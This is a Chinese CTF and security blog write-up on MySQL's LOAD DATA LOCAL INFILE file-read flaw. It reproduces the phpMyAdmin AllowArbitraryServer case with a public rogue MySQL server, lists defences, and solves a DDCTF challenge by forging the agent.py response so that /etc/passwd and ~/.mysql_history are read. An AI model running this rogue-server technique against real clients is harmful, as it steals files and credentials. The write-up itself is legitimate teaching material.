前言

最近在做ctf题时发现关于mysql任意文件读取漏洞的考点非常频繁,而且一直都朦胧不清,也没去学习,在不久前的DDCTF和国赛,还有最近的Nu1lCTF中都考到了这个点,利用Load data infile语法。在mysql客户端登陆mysql服务端后,客户端执行语句Load data local infile '/etc/passwd' into table proc;,从而可以导致mysql进行本地或远程读取文件。这个原漏洞被爆出在去年phpmyadmin任意文件读取漏洞。

phpMyAdmin开启远程登陆导致本地文件读取

下面我们先去分析复现下这个漏洞。

如果phpmyadmin开启了如下选项

$cfg['AllowArbitraryServer'] = true; //false改为true

则登录时就可以访问远程的服务器。当登陆一个恶意构造的Mysql服务器时,即可利用load data infile读取该服务器上的任意文件。当然前提条件是secure_file_priv参数允许的目录下,且phpmyadmin的用户对该文件有读的权限。

这里利用vulnspy上的实验环境演示分析该漏洞。
VulnSpy 已为大家提供在线 phpMyAdmin 环境地址:https://github.com/vulnspy/phpmyadmin-4.8.4-allowarbitraryserver

漏洞细节
LOAD DATA LOCAL导致的任意文件读取是个由来已久的问题,根据前人们的研究:

Read MySQL Client’s FileMySQL connect file read 我们知道下列的下列情况都存在该问题:

MySQL Client
PHP + mysql/mysqli
PHP + PDO (MYSQL_ATTR_LOCAL_INFILE)
Python + MySQLdb
Python3 + mysqlclient
Java + JDBC Driver

phpMyAdmin 属于典型的 php+mysqli 组合,当 AllowArbitraryServer 开启的情况下(默认关闭),我们可以让phpMyAdmin连接到恶意的MySQL服务器来触发任意文件读取漏洞。

漏洞利用

EXP: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

1. 首先是配置恶意服务器。在db服务器的命令行里修改root/exp/rogue_mysql_server.py文件,设port为3306外的其他端口,这里设为3307,然后在filelist中选择一个要读取的文件。我们这里读取/etc/passwd文件。

mysql 5.7漏洞 mysql常见漏洞_ctf

2. 运行python rogue_mysql_server.py,启动服务,服务会监听3307端口。

mysql 5.7漏洞 mysql常见漏洞_服务器_02

3. 打开phpMyAdmin的登录页面,地址输入db:3307、用户密码随意输,提交登录。

mysql 5.7漏洞 mysql常见漏洞_mysql 5.7漏洞_03

mysql 5.7漏洞 mysql常见漏洞_任意文件读取_04

然后会发现生成一个mysql.log日志,查看日志

mysql 5.7漏洞 mysql常见漏洞_服务器_05

在日志中我们看到成功读取了passwd文件。

mysql 5.7漏洞 mysql常见漏洞_mysql 5.7漏洞_06


参考https://www.vulnspy.com/cn-phpmyadmin-load-data-local-file-read-local-file/

漏洞防御
关闭local_infile参数,禁止导入本地文件
开启–ssl-mode=VERIFY_IDENTITY参数,防止连接不安全的mysql服务器

参考https://www.anquanke.com/post/id/173039

ctf例题分析

下面看一下今年ddctf中mysql弱口令这道题,这题就是利用了以上原理。

http://117.51.147.155:5000/index.html#/scan 首先题目要求我们输入自己的服务器ip以及端口,并且要在服务器上运行mysql服务。

mysql 5.7漏洞 mysql常见漏洞_任意文件读取_07

agent.py文件

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

这个agent.py代码不是很长,从模块名、函数名大概就能猜到它的意思——开启运行主机上的8123端口做一个http服务器,然后返回运行主机上的tcp进程信息。即代码_func方法中popen函数执行的命令netstat -tlnp,关于linux netstat命令参数的详解可见Linux netstat 命令

这里运行一下netstat -tlnp

mysql 5.7漏洞 mysql常见漏洞_mysql_08


agent.py代码的意思理解清楚后

按照提示把agent.py部署到我的阿里云主机上,记得安全组把8123端口打开,然后在自己的vps上运行agent.py以及伪造的mysql服务端https://github.com/Gifts/Rogue-MySql-Server。

mysql 5.7漏洞 mysql常见漏洞_mysql_09

然后在题目输入框输入你的vps的地址和你伪造的mysql服务端服务的端口后进行扫描。然后题目提示服务器未开启mysql。

mysql 5.7漏洞 mysql常见漏洞_任意文件读取_10

这里就应该可以猜到,题目扫描的流程——先向目标ip的8123端口进行访问,获取目标vps上开启的tcp进程,然后进行判断mysql服务是否开启。
所以这里首先要做的是绕过这个判断,我们可以修改agent.py中的代码,从vps上的agent.py的输出结果来看,题目服务器应该使用GET型进行请求。

mysql 5.7漏洞 mysql常见漏洞_mysql_11

于是我们找到agent.py代码里的GET处理函数,修改如下图,将返回结果直接赋为result = [{'local_address':"0.0.0.0:3306","Process_name":"1234/mysqld"}]

def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = [{'local_address':"0.0.0.0:3306","Process_name":"1234/mysqld"}]
       # for item in ps_list[2:]:
        #    tmp = item.split()
        #    Local_Address = tmp[3]
        #    Process_name = tmp[6]
        #    tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
        #    result.append(tmp_dic)
        #return result
        self.wfile.write(json.dumps(result))

改为之后,我们再在伪造mysql服务器的脚本里改要读的文件名称,这里直接给含flag目标文件吧,~/.mysql_history(root用户的mysql操作一般记录在该文件中)

1.开启agent.py,监听8123端口
2.开启rogue_mysql_server.py(监听端口3306、filelist为~/.mysql_history)
3.题目输入框输入vps ip及上述rogue_mysql_server.py(注意在自己的云主机上安全组中设置允许通过该端口),进行扫描

mysql 5.7漏洞 mysql常见漏洞_任意文件读取_12

可以看到扫描成功,此时在rouge_mysql_server.py生成的mysql.log中应该就能看到~/.mysql_history文件内容,在里面可以找到flag。

mysql 5.7漏洞 mysql常见漏洞_mysql 5.7漏洞_13